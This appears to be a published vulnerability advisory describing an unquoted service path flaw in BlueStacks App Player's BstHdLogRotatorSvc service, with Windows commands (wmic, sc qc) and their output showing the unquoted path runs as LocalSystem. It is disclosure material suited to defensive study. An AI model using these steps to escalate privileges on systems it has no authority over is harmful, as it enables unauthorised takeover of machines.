Blue Stacks App Player version 2.4.44.62.57 suffers from a BstHdLogRotatorSvc unquoted service path vulnerability.
69763ffe817758b9659a11043a8e37c5
# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
# Date: 2019-11-09
# Exploit Author: Diego Armando Buztamante Rico
# Vendor Homepage: www.bluestacks.com
# Software Link: www.bluestacks.com
# Version: 2.4.44.62.57
# Tested on: Windows 8.1 Pro
# CVE: NA
#Description
#Blue Stacks is an application which allows to run mobile apps on Windows and Mac.
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
#The service suffers from an unquoted path.
#PoC using CMD
#Command to discover the unquoted path:
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
#As a result we have
BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto
#We use the name of service to get its information using next command.
C:\Users\user>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: BstHdLogRotatorSvc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : BlueStacks Log Rotator Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem